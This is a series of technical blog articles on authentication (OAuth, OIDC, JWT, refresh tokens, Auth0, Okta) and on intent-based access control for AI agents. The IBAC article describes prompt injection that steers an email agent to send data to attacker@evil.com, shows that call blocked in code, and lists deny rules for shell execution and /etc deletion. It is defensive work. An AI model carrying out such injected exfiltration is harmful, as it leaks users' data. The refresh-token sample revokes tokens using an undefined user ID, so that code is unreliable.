authUrl.searchParams.set('client_id',     CLIENT_ID);
authUrl.searchParams.set('redirect_uri',  REDIRECT_URI);
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('scope',         'email profile');

// Step 2: exchange the authorization code for an access token
const tokens = await fetch('https://oauth2.googleapis.com/token', {
  method: 'POST',
  body: new URLSearchParams({
    code:          authorizationCode,
    client_id:     CLIENT_ID,
    client_secret: CLIENT_SECRET,
    redirect_uri:  REDIRECT_URI,
    grant_type:    'authorization_code',
  }),
}).then(r => r.json());

// tokens.access_token — limited credential, not the user's password
// tokens.scope        — exactly what was authorized
// tokens.expires_in   — automatic expiry

OAuth 2.0 was a significant advance, but it had a deliberate limitation: it was an authorization framework, not an authentication protocol. An access token told you what a client was allowed to do. It did not tell you who the user was. Applications built their own ad-hoc layers on top of OAuth to handle identity — and did so inconsistently, creating a fragmented ecosystem of incompatible identity claims.

2014 — OpenID Connect: identity on top of OAuth

OpenID Connect, finalized in 2014, solved the identity problem that OAuth deliberately left open. Built as a thin layer on top of OAuth 2.0, OIDC added a single critical element: the ID token — a signed JWT containing verified claims about who the user is.

The distinction between OAuth and OIDC is precise and important: OAuth answers “what can this application do on behalf of this user?”. OIDC answers “who is this user?”. Including the openid scope in an OAuth request triggers the OIDC layer and causes the authorization server to issue an ID token alongside the access token.

// ID token — a signed JWT issued by the authorization server
// Header
{
  "alg": "RS256",
  "kid": "key-id-from-jwks"
}

// Payload — standard OIDC claims
{
  "iss": "https://accounts.google.com",   // issuer
  "sub": "1234567890",                    // unique user ID
  "aud": "your-client-id",                // intended audience
  "iat": 1700000000,                        // issued at
  "exp": 1700003600,                        // expires at (1 hour)
  "email": "alice@example.com",
  "name":  "Alice"
}

// Signature — verified against the IdP's public key from /jwks.json
// Never trust an ID token without verifying: signature + iss + aud + exp

OIDC became the universal standard for federated identity on the web. Every major identity provider — Google, Microsoft, Apple, Auth0, Okta — implements it. It is the protocol that powers “Sign in with Google” and every enterprise SSO flow built after 2015.

Sessions: statefulness as a feature

While federated identity protocols evolved, the most common mechanism for maintaining authentication state within a single application remained the server-side session — a pattern that predates OAuth by a decade and remains, for many use cases, the most appropriate choice.

When a user authenticates, the server generates a random, unpredictable session ID, stores the session state in a database or cache (typically Redis), and sends the session ID to the client in an HttpOnly cookie. On every subsequent request, the browser automatically sends the cookie, the server looks up the session, and access is granted based on what the session contains.

// Server-side session setup — Node.js + Express + Redis
import session from 'express-session';
import RedisStore from 'connect-redis';

app.use(session({
  store:  new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,   // not accessible via JavaScript
    secure:   true,   // HTTPS only
    sameSite: 'lax',  // CSRF mitigation
    maxAge:   1000 * 60 * 60 * 8, // 8 hours
  },
}));

// Login: store identity in session
app.post('/login', async (req, res) => {
  const user = await validateCredentials(req.body);
  req.session.userId = user.id;
  req.session.role   = user.role;
  res.json({ ok: true });
});

// Logout: instant revocation — delete the server-side record
app.post('/logout', (req, res) => {
  req.session.destroy(() => res.json({ ok: true }));
});

Sessions have one decisive advantage that no stateless mechanism can match: instant revocation. Delete the session record and the user is logged out immediately, on every device, with no grace period. For applications that need to respond to security incidents, compromised accounts, or compliance requirements, this property is not optional.

JWT: stateless authentication for distributed systems

JSON Web Tokens emerged as a different answer to the same problem — one optimized for distributed architectures rather than monolithic applications. Instead of storing state on the server, a JWT encodes the authentication state directly in the token, signs it cryptographically, and sends it to the client. On every request, the client presents the token; the server verifies the signature and trusts the claims without a database lookup.

// Issuing a JWT
import jwt from 'jsonwebtoken';

const accessToken = jwt.sign(
  { sub: user.id, role: user.role, email: user.email },
  process.env.JWT_SECRET!,
  { expiresIn: '15m' }   // short-lived: limits damage if stolen
);

// Verifying a JWT on an API route
app.get('/api/me', (req, res) => {
  const token = req.headers.authorization?.slice(7);
  if (!token) return res.status(401).json({ error: 'No token' });

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET!) as JwtPayload;
    res.json({ userId: payload.sub, role: payload.role });
  } catch {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
});

The stateless property is JWT’s core strength in distributed systems: a microservice can verify a token independently, without calling a central session store. A token issued by the authentication service can be verified by the payments service, the notifications service, and the analytics service — all without any shared state between them.

The weakness is the mirror image of the strength: a valid JWT cannot be revoked before it expires. If a token is stolen, or a user’s role changes, or an account is compromised, the token remains valid until its expiry time. The standard workaround — a Redis blocklist of revoked token IDs — re-introduces the statefulness that JWTs were meant to eliminate.

Refresh tokens: bridging statefulness and statelessness

The practical solution to JWT’s revocation problem is the refresh token pattern — a design that combines the efficiency of stateless access tokens with a controlled point of statefulness for rotation and revocation.

The pattern works in two layers. Access tokens are short-lived — typically 5 to 15 minutes — and stateless. They carry the user’s identity and permissions and are verified without a database lookup. Refresh tokens are long-lived — days or weeks — and stateful. They are stored in the database, issued once at login, and exchanged for new access tokens when the current one expires.

// Refresh token rotation — the recommended pattern
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken;
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });

  // Validate: is this token in the database and not yet revoked?
  const stored = await db.refreshTokens.findUnique({
    where: { token: refreshToken, revoked: false }
  });
  if (!stored) {
    // Token reuse detected — possible token theft
    // Revoke all tokens for this user (nuclear option)
    await db.refreshTokens.updateMany({
      where: { userId: stored?.userId },
      data:  { revoked: true }
    });
    return res.status(401).json({ error: 'Token reuse detected' });
  }

  const payload = jwt.verify(refreshToken, process.env.REFRESH_SECRET!) as JwtPayload;
  const user = await db.users.findUnique({ where: { id: payload.sub } });

  // Rotate: revoke the old token, issue a new pair
  await db.refreshTokens.update({ where: { token: refreshToken }, data: { revoked: true } });

  const newAccess  = jwt.sign({ sub: user.id, role: user.role }, process.env.JWT_SECRET!,     { expiresIn: '15m' });
  const newRefresh = jwt.sign({ sub: user.id },                  process.env.REFRESH_SECRET!, { expiresIn: '7d'  });

  await db.refreshTokens.create({ data: { token: newRefresh, userId: user.id } });

  res.cookie('refreshToken', newRefresh, { httpOnly: true, secure: true, sameSite: 'strict' });
  res.json({ accessToken: newAccess });
});

Refresh token rotation has two security properties that make it the recommended pattern for modern authentication. First, each refresh token is used exactly once — the moment it is exchanged, it is revoked and replaced. This limits the window of exposure for a stolen token. Second, token reuse detection: if the same refresh token is presented twice, something has gone wrong — either the client is misbehaving or the token was stolen. The appropriate response is to revoke all tokens for that user and force a full re-authentication.

Refresh tokens should be stored in HttpOnly cookies — inaccessible to JavaScript and therefore immune to XSS attacks — rather than in localStorage or in-memory where they can be exfiltrated through client-side vulnerabilities.

Where we are now

Authentication in 2025 is a layered system — rarely a single mechanism, almost always a combination. The Authorization Code flow with PKCE (mandatory in OAuth 2.1) handles federated identity. OIDC adds verified identity claims. Short-lived JWTs carry stateless authorization across services. Refresh token rotation provides the controlled statefulness needed for revocation. Server-side sessions remain the right choice for monolithic applications where instant revocation is non-negotiable.

Passkeys — the FIDO2-based passwordless standard backed by Apple, Google, and Microsoft — are the most significant structural change to authentication since OAuth 2.0. They replace the password entirely with a public-key cryptographic credential bound to a device, resistant to phishing, and immune to credential stuffing. As of 2025, passkey adoption is growing rapidly in consumer applications and beginning to enter enterprise contexts.

The thread running through sixty years of authentication evolution is consistent: every mechanism fails when it becomes ubiquitous enough to be attacked at scale, and every successor inherits some version of the problem it was meant to solve. Passwords replaced a more complex shared-secret model and were immediately attacked by dictionary attacks. Security questions reduced the security of accounts to their weakest factor. OAuth tokens can be stolen and abused before expiry. Refresh tokens, if not rotated, become long-lived credentials as dangerous as the passwords they replaced.

Summary

• 1961 — CTSS introduced the first computer password: a shared secret to separate files on a shared mainframe
• 1970s–80s — Passwords scaled with Unix and the internet, but dictionary attacks and weak user choices exposed structural limits
• 1990s — Security questions solved the help desk cost problem and created a larger security problem: a recoverable, guessable second factor
• 2000s — SSO and SAML centralized enterprise identity, eliminating credential sprawl at the cost of making the IdP a single point of failure
• 2006–2012 — OAuth 2.0 introduced delegated authorization: applications get limited tokens, not user credentials
• 2014 — OpenID Connect added identity to OAuth: the ID token answered “who is this user?” in a standard, verifiable way
• Sessions — stateful, instantly revocable, the right default for monolithic applications and regulated environments
• JWT — stateless, portable across services, short-lived access tokens for distributed architectures
• Refresh tokens — the bridge: short-lived stateless access + long-lived stateful rotation, with reuse detection as a theft signal

—

Authentication has never been a solved problem — it has been a continuous negotiation between security and usability, between statelessness and revocability, between what users can remember and what attackers cannot guess. Each generation of developers inherits a set of mechanisms shaped by the failures of the previous one. Understanding that history is not just interesting — it is the precondition for making better decisions about which mechanisms to use, and why.

What is Auth0?

Auth0 is a cloud-based Identity-as-a-Service (IDaaS) platform that handles authentication and authorization so your team doesn’t have to. Instead of building login flows, managing password resets, configuring MFA, and defending against credential attacks, you delegate all of that to Auth0 and integrate via standard protocols — OAuth 2.0, OpenID Connect, and SAML.

Founded in 2013 and acquired by Okta in 2021, Auth0 is now positioned as Okta’s Customer Identity Cloud — focused primarily on B2C and B2B SaaS applications where developers need to ship authentication fast without compromising security. Its core differentiator is developer experience: a rich SDK ecosystem, excellent documentation, and a Universal Login page that works out of the box and can be fully customized.

Auth0 offers a free tier supporting up to 25,000 monthly active users (MAU) with full access to core features including SSO, social login, and MFA. Paid plans start at $35/month for B2C and $150/month for B2B at 500 MAU, scaling with usage.

Core features

• Universal Login: a hosted, customizable login page that handles signup, login, MFA, and password reset — no custom UI required to get started
• Social and enterprise connections: 30+ social providers (Google, GitHub, Apple) and enterprise connectors (Active Directory, SAML, LDAP) with zero custom code
• Adaptive MFA: risk-based multi-factor authentication that triggers only when a login looks suspicious — reducing friction for legitimate users
• Actions: serverless functions that run at key points in the authentication pipeline (post-login, pre-token issuance) to customize token claims, enforce policies, or integrate with external systems
• RBAC and Organizations: built-in role and permission management, with multi-tenant organization support for B2B SaaS products

The problem without Auth0

Building authentication from scratch means owning every aspect of identity security: password hashing, session management, MFA implementation, breached password detection, bot protection, rate limiting, social login integrations, token issuance, and refresh token rotation. Each of these is a potential failure point. Auth0 absorbs all of it behind a well-tested, audited service.

The alternative — rolling your own auth — is not inherently wrong, but it is expensive in engineering time and carries real security risk. Auth0 lets a team of two ship enterprise-grade authentication in a day.

Integrating Auth0 with Node.js (Express)

Auth0 acts as the Authorization Server. Your API validates incoming JWTs against Auth0’s public keys. The setup requires no session storage — every request is stateless and independently verifiable.

// Install: npm install express-oauth2-jwt-bearer

// middleware/auth.ts — validate Auth0 JWTs on API routes
import { auth } from 'express-oauth2-jwt-bearer';

export const requireAuth = auth({
  audience:    process.env.AUTH0_AUDIENCE,   // your API identifier in Auth0
  issuerBaseURL: process.env.AUTH0_ISSUER,   // https://your-tenant.auth0.com/
});

// Protect any route — token validated against Auth0's JWKS endpoint
app.get('/api/profile', requireAuth, (req, res) => {
  res.json({ sub: req.auth?.payload.sub });
});

Protecting routes with RBAC permissions

Auth0’s RBAC system lets you assign permissions to roles and attach roles to users. Permissions flow into the access token as custom claims, making authorization as simple as checking a scope:

// middleware/permissions.ts — check Auth0 RBAC permissions
import { Request, Response, NextFunction } from 'express';

export function requirePermission(permission: string) {
  return (req: Request, res: Response, next: NextFunction) => {
    const permissions = req.auth?.payload.permissions as string[] ?? [];
    if (!permissions.includes(permission)) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    next();
  };
}

// Usage — requires 'read:reports' permission in the access token
app.get('/api/reports',
  requireAuth,
  requirePermission('read:reports'),
  async (req, res) => res.json(await getReports())
);

Integrating Auth0 with React

The Auth0 React SDK handles the Authorization Code + PKCE flow, token storage, and session management automatically. A single provider wraps your app and exposes hooks for login, logout, and user state:

// Install: npm install @auth0/auth0-react

// main.tsx — wrap your app with Auth0Provider
import { Auth0Provider } from '@auth0/auth0-react';

ReactDOM.createRoot(document.getElementById('root')!).render(
  <Auth0Provider
    domain={import.meta.env.VITE_AUTH0_DOMAIN}
    clientId={import.meta.env.VITE_AUTH0_CLIENT_ID}
    authorizationParams={{
      redirect_uri: window.location.origin,
      audience:     import.meta.env.VITE_AUTH0_AUDIENCE,
    }}
  >
    <App />
  </Auth0Provider>
);

// components/Profile.tsx — access user and call authenticated APIs
import { useAuth0 } from '@auth0/auth0-react';

export function Profile() {
  const { user, isAuthenticated, loginWithRedirect, logout, getAccessTokenSilently } = useAuth0();

  const callApi = async () => {
    const token = await getAccessTokenSilently();
    const res = await fetch('/api/profile', {
      headers: { Authorization: `Bearer ${token}` }
    });
    return res.json();
  };

  if (!isAuthenticated) {
    return <button onClick={() => loginWithRedirect()}>Log in</button>;
  }

  return (
    <div>
      <p>Welcome, {user?.name}</p>
      <button onClick={() => logout()}>Log out</button>
      <button onClick={callApi}>Call API</button>
    </div>
  );
}

Customizing the pipeline with Actions

Auth0 Actions are Node.js functions that run during the authentication flow. A common use case is enriching the access token with application-specific claims — for example, adding a user’s internal database ID or subscription tier to the token so downstream services don’t need an extra lookup:

// Auth0 Action: Post-Login — add custom claims to tokens
// Configured in Auth0 Dashboard > Actions > Flows > Login

exports.onExecutePostLogin = async (event, api) => {
  const namespace = 'https://myapp.com';

  // Fetch user metadata from your database
  const user = await fetchUserFromDB(event.user.email);

  // Add custom claims to both the access token and ID token
  api.accessToken.setCustomClaim(`${namespace}/userId`,       user.id);
  api.accessToken.setCustomClaim(`${namespace}/subscription`, user.plan);
  api.idToken.setCustomClaim(`${namespace}/userId`,           user.id);
};

When to use Auth0

• You need to ship authentication fast without building or maintaining identity infrastructure
• Your application has social login, enterprise SSO, or multi-tenant B2B requirements
• Your team lacks deep expertise in identity security protocols
• You are building a consumer or B2B SaaS product with a growing, variable user base

The main trade-off to be aware of is the MAU-based pricing model. As your user base grows, Auth0 costs can escalate significantly — a pattern the community calls the ‘growth penalty’. For very large user bases or applications that need deep customization of the identity layer, evaluating self-hosted alternatives (Keycloak, FusionAuth) or Okta Workforce Identity for enterprise use cases is worthwhile.

Summary

• Auth0 handles OAuth 2.0 + OIDC, MFA, social login, and RBAC out of the box
• Universal Login eliminates the need to build and maintain custom login UI
• The Express SDK validates JWTs statelelessly via Auth0’s JWKS endpoint
• The React SDK manages the Authorization Code + PKCE flow automatically
• Actions extend the pipeline with custom serverless logic at key auth events

—

Authentication is not a competitive advantage — it is a cost of entry. Auth0 lets you pay that cost quickly and securely, so your team can spend its time on what actually differentiates your product.

The full working project for this article — backend, frontend, and tests — is available on GitLab:
👉 https://gitlab.com/iam-access-control/auth0-identity-as-a-service

The problem with static permissions in agentic systems

Every access control model covered so far — RBAC, ABAC, ReBAC, NGAC — answers the same foundational question: does this identity have permission to perform this action on this resource? They differ in how they express and evaluate that question, but the permission itself is defined in advance, stored, and checked at runtime.

This model works well for human users. A doctor always has permission to view medical records. An analyst always has read access to reports. Permissions are stable, auditable, and predictable.

AI agents break this assumption entirely. An agent is not a user with a fixed job. It is a reasoning system that chains tool calls, reads external content, and takes actions on behalf of users — often in ways no human administrator could anticipate at policy definition time. Granting an AI email agent access to send emails means it can send emails to anyone, at any time, for any reason — including reasons injected by a malicious document it processed.

Intent-Based Access Control (IBAC) was designed for this class of problem. Instead of asking “does this agent have permission to send emails?”, IBAC asks: “does the user’s explicit intent for this request include sending an email to this recipient?” If not, the action is blocked — regardless of what the agent’s reasoning says.

What is IBAC?

IBAC is an authorization model where permissions are derived per-request from the user’s stated intent, translated into fine-grained authorization tuples, and enforced deterministically at every tool invocation. It was formalized in a 2026 research paper by Jordan Potti and implemented on top of OpenFGA, an open-source fine-grained authorization engine.

The core insight is that prompt injection attacks — where malicious content in the environment manipulates the agent’s reasoning — become irrelevant if the agent’s tool calls are bounded by what the user originally asked for. An injected instruction telling the agent to exfiltrate data to attacker@evil.com cannot succeed if the only email:send tuple in the authorization store points to bob@company.com.

IBAC shifts the authorization boundary from the LLM’s reasoning (probabilistic, manipulable) to a deterministic enforcement engine (binary, tamper-proof). The LLM decides what to do. The authorization engine decides whether it is allowed.

How IBAC works: four steps

The implementation adds two integration points to any existing agent: write authorization tuples after intent parsing, and check them before every tool call.

Step 1: parse intent into authorization tuples

When a user sends a request, a dedicated LLM call — with a hardened system prompt — parses the intent into a structured set of capabilities: which tools may be invoked, on which resources, with what constraints. These capabilities are written as tuples to the authorization store before the agent touches any tool.

// ibac/intentParser.ts
import OpenAI from 'openai';

export interface IntentTuple {
  tool:     string;   // e.g. 'email', 'file', 'calendar'
  action:   string;   // e.g. 'send', 'read', 'create'
  resource: string;   // e.g. 'bob@company.com', '/docs/report.pdf'
}

const PARSER_SYSTEM_PROMPT = `
You are an authorization scope parser. Given a user request and context,
return ONLY a JSON array of allowed tool invocations.
Be minimal: grant only what the user explicitly asked for.
Never infer permissions beyond what is clearly stated.
Format: [{ tool, action, resource }]
`;

export async function parseIntent(
  userRequest: string,
  context: { contacts: Record<string, string>; files: string[] }
): Promise<IntentTuple[]> {
  const openai = new OpenAI();

  const response = await openai.chat.completions.create({
    model: 'gpt-4o',
    messages: [
      { role: 'system', content: PARSER_SYSTEM_PROMPT },
      { role: 'user',   content: JSON.stringify({ userRequest, context }) }
    ],
    response_format: { type: 'json_object' },
  });

  const parsed = JSON.parse(response.choices[0].message.content!);
  return parsed.tuples as IntentTuple[];
}

// User: 'Email Bob the summary of /docs/report.pdf'
// Context: contacts = { Bob: 'bob@company.com' }
// Parser returns:
// [
//   { tool: 'file',  action: 'read', resource: '/docs/report.pdf' },
//   { tool: 'email', action: 'send', resource: 'bob@company.com'  }
// ]

Step 2: write tuples to the authorization store

The parsed tuples are written to OpenFGA before the agent executes. Each tuple is scoped to the current request ID, preventing permissions from leaking across requests. A TTL condition ensures capabilities expire after a configurable number of conversation turns.

// ibac/store.ts
import { OpenFgaClient } from '@openfga/sdk';
import crypto from 'crypto';
import { IntentTuple } from './intentParser';

const fga = new OpenFgaClient({ apiUrl: process.env.OPENFGA_URL! });

export async function writeIntentTuples(
  tuples: IntentTuple[],
  currentTurn: number
): Promise<string> {
  const reqId = `req_${crypto.randomUUID()}`;

  await fga.write({
    writes: tuples.map(t => ({
      user:     `user:${reqId}`,
      relation: 'can_invoke',
      object:   `tool_invocation:${t.tool}:${t.action}#${t.resource}`,
      condition: {
        name:    'within_ttl',
        context: { current_turn: currentTurn, created_turn: currentTurn, ttl: 5 }
      }
    }))
  });

  return reqId;
}

Step 3: define the authorization model

The OpenFGA model is deliberately minimal. Two types, two relations, one condition. The can_invoke relation is granted by intent tuples and blocked by organizational deny policies. Both are evaluated in a single query.

# openfga/model.fga
model
  schema 1.1

type user

type tool_invocation
  relations
    define blocked:    [user]
    define can_invoke: [user with within_ttl] but not blocked

condition within_ttl(current_turn: int, created_turn: int, ttl: int) {
  current_turn - created_turn <= ttl
}

# Deny policies are written at system configuration time.
# They represent operations that should NEVER be authorized
# regardless of user intent — permanent organizational guardrails.
#
# Example deny tuple (written once at deploy time):
# user:* | blocked | tool_invocation:shell:exec#*
# user:* | blocked | tool_invocation:file:delete#/etc/*

Step 4: check before every tool call

The agent’s tool executor is wrapped with an authorization check. Every invocation hits OpenFGA before it runs. If no matching tuple exists — whether because the action was never requested, or because injected content tried to expand the scope — the call is denied and an escalation prompt is returned to the user.

// ibac/gateway.ts — authorization gateway for all tool calls
import { OpenFgaClient } from '@openfga/sdk';

const fga = new OpenFgaClient({ apiUrl: process.env.OPENFGA_URL! });

interface ToolCall {
  tool:     string;
  action:   string;
  resource: string;
  execute:  () => Promise<unknown>;
}

export async function invokeWithAuth(
  reqId:       string,
  currentTurn: number,
  call:        ToolCall
): Promise<{ success: true; data: unknown } | { denied: true; escalationPrompt: string }> {
  const { allowed } = await fga.check({
    user:     `user:${reqId}`,
    relation: 'can_invoke',
    object:   `tool_invocation:${call.tool}:${call.action}#${call.resource}`,
    context:  { current_turn: currentTurn }
  });

  if (!allowed) {
    return {
      denied: true,
      escalationPrompt:
        `Your request requires ${call.tool}:${call.action} on ${call.resource}. Allow?`
    };
  }

  return { success: true, data: await call.execute() };
}

// Examples:
// User said 'Email Bob the report' — this is allowed
await invokeWithAuth(reqId, turn, {
  tool: 'email', action: 'send', resource: 'bob@company.com',
  execute: () => sendEmail('bob@company.com', summary)
});

// Injected instruction tries to exfiltrate — BLOCKED
await invokeWithAuth(reqId, turn, {
  tool: 'email', action: 'send', resource: 'attacker@evil.com',
  execute: () => sendEmail('attacker@evil.com', sensitiveData)
});
// → { denied: true, escalationPrompt: '...Allow?' }

How IBAC compares to the other models

IBAC is not a replacement for RBAC, ABAC, or ReBAC — it is a complementary layer designed for the agentic context that those models were not built for.

• RBAC/ABAC/ReBAC define standing permissions: what an identity is always allowed to do. They answer the question before the request exists.
• IBAC defines per-request permissions: what this specific request is allowed to do, derived from what the user said. Permissions are ephemeral and request-scoped.
• The two layers compose naturally: RBAC governs what an agent role can ever be authorized to do; IBAC governs what this particular request can do within those bounds.

Benchmarked on AgentDojo — a suite of 240 prompt injection attacks — IBAC Strict mode blocked 100% of injection attempts. IBAC Permissive (which also infers implied prerequisites) achieved 98.8% security with 65.8% automated utility. The 3 permissive breaches were traced to over-scoped wildcard permissions in the intent parser, not to any bypass of the authorization engine itself.

Summary

• IBAC derives per-request permissions from user intent — not from standing role or attribute policies
• Authorization tuples are written before the agent processes any external content — injection attacks hit a closed gate
• The enforcement engine is deterministic: the LLM reasons, OpenFGA decides
• Deny policies encode permanent organizational guardrails that override any intent-derived permission
• TTL conditions ensure capabilities expire automatically with the conversational context

As AI agents become a standard layer in production systems, the question of what they are authorized to do — and on whose behalf — becomes as critical as any other access control decision. IBAC provides a principled answer: the user’s explicit intent is the source of truth, and no reasoning process, however sophisticated or compromised, can override it.

—

Every other access control model in this series asks: who are you, and what are you allowed to do? IBAC asks a different question: what did you ask for, and does this action serve that purpose? In a world where AI agents act on your behalf, the difference between those two questions is the difference between a controlled tool and an unconstrained one.

The full working project for this article — backend, frontend, and tests — is available on GitLab:
👉 https://gitlab.com/iam-access-control/ibac-intent-based-access-control

What is Okta?

Okta is the leading enterprise Identity and Access Management (IAM) platform, built primarily for workforce identity — securing the applications, data, and infrastructure that employees, contractors, and partners access every day. Where Auth0 optimizes for developer experience in customer-facing applications, Okta optimizes for enterprise scale: thousands of users, hundreds of applications, deep integration with Active Directory and HR systems, and centralized governance over the entire identity lifecycle.

Founded in 2009, Okta supports over 7,000 pre-built application integrations through its Okta Integration Network (OIN). It is organized around two distinct products: Workforce Identity Cloud (for employees and internal systems) and Customer Identity Cloud (formerly Auth0, for customer-facing applications). This article focuses on Workforce Identity.

Okta’s pricing follows a per-user-per-month model. SSO starts at approximately $2/user/month, adaptive MFA at $3/user/month, and lifecycle management at $4/user/month. Enterprise bundles typically range from $15 to $25/user/month with volume discounts and require annual commitments.

Core capabilities

• Single Sign-On (SSO): one login to access all applications — cloud SaaS, on-premises, and legacy — without managing separate credentials per app
• Adaptive MFA: risk-based authentication that adjusts verification requirements based on user behavior, device posture, location, and threat signals from Okta ThreatInsight
• Lifecycle Management: automated provisioning and deprovisioning of user accounts across all connected applications when employees join, change roles, or leave
• Universal Directory: a centralized identity store that aggregates users from AD, LDAP, HR systems (Workday, BambooHR), and custom sources into a single directory
• Identity Governance: access certification campaigns, separation of duties policies, and least-privilege enforcement with audit trails for compliance (SOX, HIPAA, ISO 27001)

The problem without Okta

Without a centralized IAM platform, enterprise identity becomes a sprawl of disconnected systems. Each application has its own user store. IT manages access manually via tickets. When an employee leaves, deprovisioning depends on someone remembering to revoke access in every system — a security risk that is frequently exploited.

Verizon’s 2024 Data Breach report found that 68% of breaches involved a human element, and credential-based attacks grew 71% year-over-year. Okta addresses this directly: centralized authentication means fewer attack surfaces, adaptive MFA blocks stolen credentials, and automated lifecycle management eliminates orphaned accounts.

Integrating Okta SSO with Node.js (Express)

Okta acts as the Authorization Server using OIDC. Your backend validates tokens issued by Okta using the standard JWT verification approach against Okta’s JWKS endpoint:

// Install: npm install @okta/jwt-verifier

// middleware/auth.ts — validate Okta JWTs
import OktaJwtVerifier from '@okta/jwt-verifier';
import { Request, Response, NextFunction } from 'express';

const verifier = new OktaJwtVerifier({
  issuer:   `${process.env.OKTA_DOMAIN}/oauth2/default`,
  audience: process.env.OKTA_AUDIENCE ?? 'api://default',
});

export async function requireAuth(
  req: Request, res: Response, next: NextFunction
) {
  const token = req.headers.authorization?.replace('Bearer ', '');
  if (!token) return res.status(401).json({ error: 'Missing token' });

  try {
    const jwt = await verifier.verifyAccessToken(token, 'api://default');
    req.user = jwt.claims;
    next();
  } catch {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
}

// Protect routes
app.get('/api/me', requireAuth, (req, res) => {
  res.json({ uid: req.user?.uid, email: req.user?.sub });
});

Enforcing groups and roles

Okta groups and roles can be included as custom claims in the access token. This lets your API enforce authorization based on the user’s Okta group membership without any external lookup:

// Okta Admin Console: add 'groups' claim to your Authorization Server
// Claim name: groups | Value type: Groups | Filter: Matches regex .*

// middleware/groups.ts — enforce Okta group membership
import { Request, Response, NextFunction } from 'express';

export function requireGroup(group: string) {
  return (req: Request, res: Response, next: NextFunction) => {
    const groups = (req.user?.groups as string[]) ?? [];
    if (!groups.includes(group)) {
      return res.status(403).json({ error: `Group '${group}' required` });
    }
    next();
  };
}

// Only users in the 'Finance' Okta group can access this route
app.get('/api/financials',
  requireAuth,
  requireGroup('Finance'),
  async (req, res) => res.json(await getFinancials())
);

Integrating Okta with React

The Okta React SDK handles the OIDC Authorization Code + PKCE flow, token renewal, and session state. A Security component wraps your routes and redirects unauthenticated users to Okta’s hosted login page:

// Install: npm install @okta/okta-react @okta/okta-auth-js

// main.tsx — configure Okta
import { OktaAuth } from '@okta/okta-auth-js';
import { Security } from '@okta/okta-react';

const oktaAuth = new OktaAuth({
  issuer:       `${import.meta.env.VITE_OKTA_DOMAIN}/oauth2/default`,
  clientId:     import.meta.env.VITE_OKTA_CLIENT_ID,
  redirectUri:  `${window.location.origin}/login/callback`,
  scopes:       ['openid', 'profile', 'email', 'groups'],
});

ReactDOM.createRoot(document.getElementById('root')!).render(
  <Security oktaAuth={oktaAuth} restoreOriginalUri={async (_, uri) => {
    window.location.replace(uri ?? '/');
  }}>
    <App />
  </Security>
);

// components/ProtectedPage.tsx — guard a route
import { useOktaAuth } from '@okta/okta-react';

export function ProtectedPage() {
  const { authState, oktaAuth } = useOktaAuth();

  if (!authState?.isAuthenticated) {
    oktaAuth.signInWithRedirect();
    return null;
  }

  const callApi = async () => {
    const token = authState.accessToken?.accessToken;
    return fetch('/api/me', {
      headers: { Authorization: `Bearer ${token}` }
    }).then(r => r.json());
  };

  return (
    <div>
      <p>Signed in as: {authState.idToken?.claims.email}</p>
      <button onClick={callApi}>Call API</button>
      <button onClick={() => oktaAuth.signOut()}>Sign out</button>
    </div>
  );
}

Lifecycle Management: automated provisioning with SCIM

Okta’s lifecycle management integrates with HR systems and uses SCIM (System for Cross-domain Identity Management) to automatically provision and deprovision user accounts across all connected applications. When an employee joins, their accounts are created everywhere. When they leave, all access is revoked automatically — no ticket required.

// Example: Okta Workflows trigger on user deactivation
// This is a simplified representation of what Okta Workflows automates:

// Trigger: User deactivated in Okta (e.g., offboarding from HR system)
// Actions executed automatically:
//  1. Deprovision user from Salesforce
//  2. Deprovision user from GitHub organization
//  3. Revoke all active SSO sessions
//  4. Transfer owned documents to manager in Google Workspace
//  5. Send audit notification to security team
//  6. Archive user data per retention policy

// In your own API, handle Okta webhook events for custom deprovisioning:
app.post('/webhooks/okta', async (req, res) => {
  const event = req.body;

  if (event.eventType === 'user.lifecycle.deactivate') {
    const userId = event.target[0].alternateId; // user email
    await revokeAllUserSessions(userId);
    await notifySecurityTeam(userId, 'USER_DEACTIVATED');
  }

  res.status(200).json({ received: true });
});

When to use Okta

• You are securing employee access to internal applications, not building customer-facing login flows
• You need deep integration with Active Directory, LDAP, or HR systems like Workday
• You require automated lifecycle management: provisioning and deprovisioning across hundreds of apps
• You need identity governance: access certifications, separation of duties, and compliance audit trails
• Your organization operates in a regulated industry (healthcare, finance, government) with strict access control requirements

Okta is built for enterprise scale and governance depth. If you are building a consumer app or a SaaS product and need to ship customer authentication quickly, Auth0 (Okta’s Customer Identity Cloud) is the better starting point. Okta Workforce Identity shines when the problem is managing who in your organization can access what — not who among your customers can sign up.

Summary

• Okta centralizes workforce authentication via SSO across 7,000+ application integrations
• Adaptive MFA and ThreatInsight provide risk-aware, phishing-resistant authentication
• Lifecycle management automates provisioning and deprovisioning via SCIM and HR system integration
• Universal Directory aggregates identities from AD, LDAP, and HR into a single control plane
• Identity Governance provides access certifications and compliance audit trails for SOX, HIPAA, ISO 27001

—

In most organizations, the biggest identity risk is not a sophisticated attack — it is an orphaned account from someone who left six months ago. Okta’s lifecycle management eliminates that risk systematically. That alone justifies the investment for any enterprise serious about its security posture.

The full working project for this article — backend, frontend, and tests — is available on GitLab:
👉 https://gitlab.com/iam-access-control/okta-enterprise-iam